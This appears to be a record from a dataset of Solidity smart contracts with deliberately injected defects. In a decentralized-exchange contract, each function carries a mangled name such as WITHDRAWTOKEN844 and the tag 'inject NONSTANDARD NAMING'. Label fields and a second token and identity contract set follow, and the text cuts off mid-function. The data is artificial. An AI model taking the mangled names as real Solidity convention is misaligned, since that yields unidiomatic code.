uint depositAmount = amount.SUB977(feeDepositXfer);
tokens[token][msg.sender] = tokens[token][msg.sender].ADD680(depositAmount);
tokens[token][feeAccount] = tokens[token][feeAccount].ADD680(feeDepositXfer);
emit DEPOSIT211(token, msg.sender, amount, tokens[token][msg.sender]);
}
function WITHDRAWTOKEN844(address token, uint amount) public { //inject NONSTANDARD NAMING
require (token != address(0));
require (tokens[token][msg.sender] >= amount);
uint feeWithdrawXfer = amount.MUL925(feeWithdraw[token]) / (1 ether);
uint withdrawAmount = amount.SUB977(feeWithdrawXfer);
tokens[token][msg.sender] = tokens[token][msg.sender].SUB977(amount);
tokens[token][feeAccount] = tokens[token][feeAccount].ADD680(feeWithdrawXfer);
require (Token(token).TRANSFER915(msg.sender, withdrawAmount));
emit WITHDRAW585(token, msg.sender, amount, tokens[token][msg.sender]);
}
function BALANCEOF651(address token, address user) view public returns (uint) { //inject NONSTANDARD NAMING
return tokens[token][user];
}
function ORDER93(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public { //inject NONSTANDARD NAMING
require (ISTOKENACTIVE523(tokenGet) && ISTOKENACTIVE523(tokenGive));
require (amountGet >= tokensMinAmountBuy[tokenGet]) ;
require (amountGive >= tokensMinAmountSell[tokenGive]) ;
bytes32 hash = sha256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
orders[msg.sender][hash] = true;
emit ORDER901(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function TRADE298(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public { //inject NONSTANDARD NAMING
require (ISTOKENACTIVE523(tokenGet) && ISTOKENACTIVE523(tokenGive));
//amount is in amountGet terms
bytes32 hash = sha256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require (
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
orderFills[user][hash].ADD680(amount) <= amountGet
);
TRADEBALANCES341(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = orderFills[user][hash].ADD680(amount);
emit TRADE560(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function TRADEBALANCES341(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { //inject NONSTANDARD NAMING
uint feeMakeXfer = amount.MUL925(feeMake[tokenGet]) / (1 ether);
uint feeTakeXfer = amount.MUL925(feeTake[tokenGet]) / (1 ether);
tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].SUB977(amount.ADD680(feeTakeXfer));
tokens[tokenGet][user] = tokens[tokenGet][user].ADD680(amount.SUB977(feeMakeXfer));
tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].ADD680(feeMakeXfer.ADD680(feeTakeXfer));
tokens[tokenGive][user] = tokens[tokenGive][user].SUB977(amountGive.MUL925(amount).DIV533(amountGet));
tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].ADD680(amountGive.MUL925(amount).DIV533(amountGet));
}
function TESTTRADE501(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) view public returns(bool) { //inject NONSTANDARD NAMING
if (!ISTOKENACTIVE523(tokenGet) || !ISTOKENACTIVE523(tokenGive)) return false;
if (!(
tokens[tokenGet][sender] >= amount &&
AVAILABLEVOLUME148(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function AVAILABLEVOLUME148(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) view public returns(uint) { //inject NONSTANDARD NAMING
bytes32 hash = sha256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires
)) return 0;
return AVAILABLE249(amountGet, tokenGive, amountGive, user, hash);
}
function AVAILABLE249(uint amountGet, address tokenGive, uint amountGive, address user, bytes32 hash) view private returns(uint) { //inject NONSTANDARD NAMING
uint available1 = AVAILABLE1164(user, amountGet, hash);
uint available2 = AVAILABLE265(user, tokenGive, amountGet, amountGive);
if (available1 < available2) return available1;
return available2;
}
function AVAILABLE1164(address user, uint amountGet, bytes32 orderHash) view private returns(uint) { //inject NONSTANDARD NAMING
return amountGet.SUB977(orderFills[user][orderHash]);
}
function AVAILABLE265(address user, address tokenGive, uint amountGet, uint amountGive) view private returns(uint) { //inject NONSTANDARD NAMING
return tokens[tokenGive][user].MUL925(amountGet).DIV533(amountGive);
}
function AMOUNTFILLED138(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user) view public returns(uint) { //inject NONSTANDARD NAMING
bytes32 hash = sha256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
return orderFills[user][hash];
}
function CANCELORDER664(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public { //inject NONSTANDARD NAMING
bytes32 hash = sha256(abi.encodePacked(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require (orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender);
orderFills[msg.sender][hash] = amountGet;
emit CANCEL650(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
function ACTIVATETOKEN73(address token) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
activeTokens[token] = true;
emit ACTIVATETOKEN153(token, Token(token).symbol());
}
function DEACTIVATETOKEN190(address token) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
activeTokens[token] = false;
emit DEACTIVATETOKEN237(token, Token(token).symbol());
}
function ISTOKENACTIVE523(address token) view public returns(bool) { //inject NONSTANDARD NAMING
if (token == address(0))
return true; // eth is always active
return activeTokens[token];
}
function SETTOKENMINAMOUNTBUY334(address token, uint amount) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
tokensMinAmountBuy[token] = amount;
}
function SETTOKENMINAMOUNTSELL817(address token, uint amount) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
tokensMinAmountSell[token] = amount;
}
function SETTOKENFEEMAKE257(address token, uint feeMake_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
feeMake[token] = feeMake_;
}
function SETTOKENFEETAKE459(address token, uint feeTake_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
feeTake[token] = feeTake_;
}
function SETTOKENFEEDEPOSIT880(address token, uint feeDeposit_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
feeDeposit[token] = feeDeposit_;
}
function SETTOKENFEEWITHDRAW248(address token, uint feeWithdraw_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
feeWithdraw[token] = feeWithdraw_;
}
}
|
inject NONSTANDARD NAMING
|
function DEACTIVATETOKEN190(address token) public {
| 5,497,591
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
/**
* @dev Checks if msg.sender is in whitelist.
*/
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/**
* @title TAOCurrency
*/
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply; // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
* @return true on success
*/
function mintToken(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mintToken(target, mintedAmount);
return true;
}
/**
*
* @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/***** INTERNAL METHODS *****/
/**
* @dev Send `_value` tokens from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
*/
function _mintToken(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
}
/**
* @title TAO
*/
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
/**
* 0 = TAO
* 1 = Name
*/
uint8 public typeId;
/**
* @dev Constructor function
*/
constructor (string _name,
address _originId,
string _datHash,
string _database,
string _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
/**
* @dev Checks if calling address is Vault contract
*/
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
/**
* @dev Allows Vault to transfer `_amount` of ETH from this TAO to `_recipient`
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferEth(address _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
/**
* @dev Allows Vault to transfer `_amount` of ERC20 Token from this TAO to `_recipient`
* @param _erc20TokenAddress The address of ERC20 Token
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
/**
* @title Position
*/
contract Position is TheAO {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 constant public MAX_SUPPLY_PER_NAME = 100 * (10 ** 4);
uint256 public totalSupply;
// Mapping from Name ID to bool value whether or not it has received Position Token
mapping (address => bool) public receivedToken;
// Mapping from Name ID to its total available balance
mapping (address => uint256) public balanceOf;
// Mapping from Name's TAO ID to its staked amount
mapping (address => mapping(address => uint256)) public taoStakedBalance;
// Mapping from TAO ID to its total staked amount
mapping (address => uint256) public totalTAOStakedBalance;
// This generates a public event on the blockchain that will notify clients
event Mint(address indexed nameId, uint256 value);
event Stake(address indexed nameId, address indexed taoId, uint256 value);
event Unstake(address indexed nameId, address indexed taoId, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply; // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Create `MAX_SUPPLY_PER_NAME` tokens and send it to `_nameId`
* @param _nameId Address to receive the tokens
* @return true on success
*/
function mintToken(address _nameId) public inWhitelist returns (bool) {
// Make sure _nameId has not received Position Token
require (receivedToken[_nameId] == false);
receivedToken[_nameId] = true;
balanceOf[_nameId] = balanceOf[_nameId].add(MAX_SUPPLY_PER_NAME);
totalSupply = totalSupply.add(MAX_SUPPLY_PER_NAME);
emit Mint(_nameId, MAX_SUPPLY_PER_NAME);
return true;
}
/**
* @dev Get staked balance of `_nameId`
* @param _nameId The Name ID to be queried
* @return total staked balance
*/
function stakedBalance(address _nameId) public view returns (uint256) {
return MAX_SUPPLY_PER_NAME.sub(balanceOf[_nameId]);
}
/**
* @dev Stake `_value` tokens on `_taoId` from `_nameId`
* @param _nameId The Name ID that wants to stake
* @param _taoId The TAO ID to stake
* @param _value The amount to stake
* @return true on success
*/
function stake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (balanceOf[_nameId] >= _value); // Check if the targeted balance is enough
balanceOf[_nameId] = balanceOf[_nameId].sub(_value); // Subtract from the targeted balance
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].add(_value); // Add to the targeted staked balance
totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].add(_value);
emit Stake(_nameId, _taoId, _value);
return true;
}
/**
* @dev Unstake `_value` tokens from `_nameId`'s `_taoId`
* @param _nameId The Name ID that wants to unstake
* @param _taoId The TAO ID to unstake
* @param _value The amount to unstake
* @return true on success
*/
function unstake(address _nameId, address _taoId, uint256 _value) public inWhitelist returns (bool) {
require (_value > 0 && _value <= MAX_SUPPLY_PER_NAME);
require (taoStakedBalance[_nameId][_taoId] >= _value); // Check if the targeted staked balance is enough
require (totalTAOStakedBalance[_taoId] >= _value); // Check if the total targeted staked balance is enough
taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].sub(_value); // Subtract from the targeted staked balance
totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].sub(_value);
balanceOf[_nameId] = balanceOf[_nameId].add(_value); // Add to the targeted balance
emit Unstake(_nameId, _taoId, _value);
return true;
}
}
/**
* @title NameTAOLookup
*
*/
contract NameTAOLookup is TheAO {
address public nameFactoryAddress;
address public taoFactoryAddress;
struct NameTAOInfo {
string name;
address nameTAOAddress;
string parentName;
uint256 typeId; // 0 = TAO. 1 = Name
}
uint256 public internalId;
uint256 public totalNames;
uint256 public totalTAOs;
mapping (uint256 => NameTAOInfo) internal nameTAOInfos;
mapping (bytes32 => uint256) internal internalIdLookup;
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress) public {
nameFactoryAddress = _nameFactoryAddress;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the taoFactoryAddress Address
* @param _taoFactoryAddress The address of TAOFactory
*/
function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO {
require (_taoFactoryAddress != address(0));
taoFactoryAddress = _taoFactoryAddress;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a name exist in the list
* @param _name The name to be checked
* @return true if yes, false otherwise
*/
function isExist(string _name) public view returns (bool) {
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
return (internalIdLookup[_nameKey] > 0);
}
/**
* @dev Add a new NameTAOInfo
* @param _name The name of the Name/TAO
* @param _nameTAOAddress The address of the Name/TAO
* @param _parentName The parent name of the Name/TAO
* @param _typeId If TAO = 0. Name = 1
* @return true on success
*/
function add(string _name, address _nameTAOAddress, string _parentName, uint256 _typeId) public onlyFactory returns (bool) {
require (bytes(_name).length > 0);
require (_nameTAOAddress != address(0));
require (bytes(_parentName).length > 0);
require (_typeId == 0 || _typeId == 1);
require (!isExist(_name));
internalId++;
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
internalIdLookup[_nameKey] = internalId;
NameTAOInfo storage _nameTAOInfo = nameTAOInfos[internalId];
_nameTAOInfo.name = _name;
_nameTAOInfo.nameTAOAddress = _nameTAOAddress;
_nameTAOInfo.parentName = _parentName;
_nameTAOInfo.typeId = _typeId;
if (_typeId == 0) {
totalTAOs++;
} else {
totalNames++;
}
return true;
}
/**
* @dev Get the NameTAOInfo given a name
* @param _name The name to be queried
* @return the name of Name/TAO
* @return the address of Name/TAO
* @return the parent name of Name/TAO
* @return type ID. 0 = TAO. 1 = Name
*/
function getByName(string _name) public view returns (string, address, string, uint256) {
require (isExist(_name));
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]];
return (
_nameTAOInfo.name,
_nameTAOInfo.nameTAOAddress,
_nameTAOInfo.parentName,
_nameTAOInfo.typeId
);
}
/**
* @dev Get the NameTAOInfo given an ID
* @param _internalId The internal ID to be queried
* @return the name of Name/TAO
* @return the address of Name/TAO
* @return the parent name of Name/TAO
* @return type ID. 0 = TAO. 1 = Name
*/
function getByInternalId(uint256 _internalId) public view returns (string, address, string, uint256) {
require (nameTAOInfos[_internalId].nameTAOAddress != address(0));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[_internalId];
return (
_nameTAOInfo.name,
_nameTAOInfo.nameTAOAddress,
_nameTAOInfo.parentName,
_nameTAOInfo.typeId
);
}
/**
* @dev Return the nameTAOAddress given a _name
* @param _name The name to be queried
* @return the nameTAOAddress of the name
*/
function getAddressByName(string _name) public view returns (address) {
require (isExist(_name));
bytes32 _nameKey = keccak256(abi.encodePacked(_name));
NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]];
return _nameTAOInfo.nameTAOAddress;
}
}
/**
* @title NamePublicKey
*/
contract NamePublicKey {
using SafeMath for uint256;
address public nameFactoryAddress;
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
struct PublicKey {
bool created;
address defaultKey;
address[] keys;
}
// Mapping from nameId to its PublicKey
mapping (address => PublicKey) internal publicKeys;
// Event to be broadcasted to public when a publicKey is added to a Name
event AddKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is removed from a Name
event RemoveKey(address indexed nameId, address publicKey, uint256 nonce);
// Event to be broadcasted to public when a publicKey is set as default for a Name
event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public {
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress);
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if msg.sender is the current advocate of Name ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a Name ID exist in the list of Public Keys
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return publicKeys[_id].created;
}
/**
* @dev Store the PublicKey info for a Name
* @param _id The ID of the Name
* @param _defaultKey The default public key for this Name
* @return true on success
*/
function add(address _id, address _defaultKey)
public
isName(_id)
onlyFactory returns (bool) {
require (!isExist(_id));
require (_defaultKey != address(0));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.created = true;
_publicKey.defaultKey = _defaultKey;
_publicKey.keys.push(_defaultKey);
return true;
}
/**
* @dev Get total publicKeys count for a Name
* @param _id The ID of the Name
* @return total publicKeys count
*/
function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) {
require (isExist(_id));
return publicKeys[_id].keys.length;
}
/**
* @dev Check whether or not a publicKey exist in the list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to check
* @return true if yes. false otherwise
*/
function isKeyExist(address _id, address _key) isName(_id) public view returns (bool) {
require (isExist(_id));
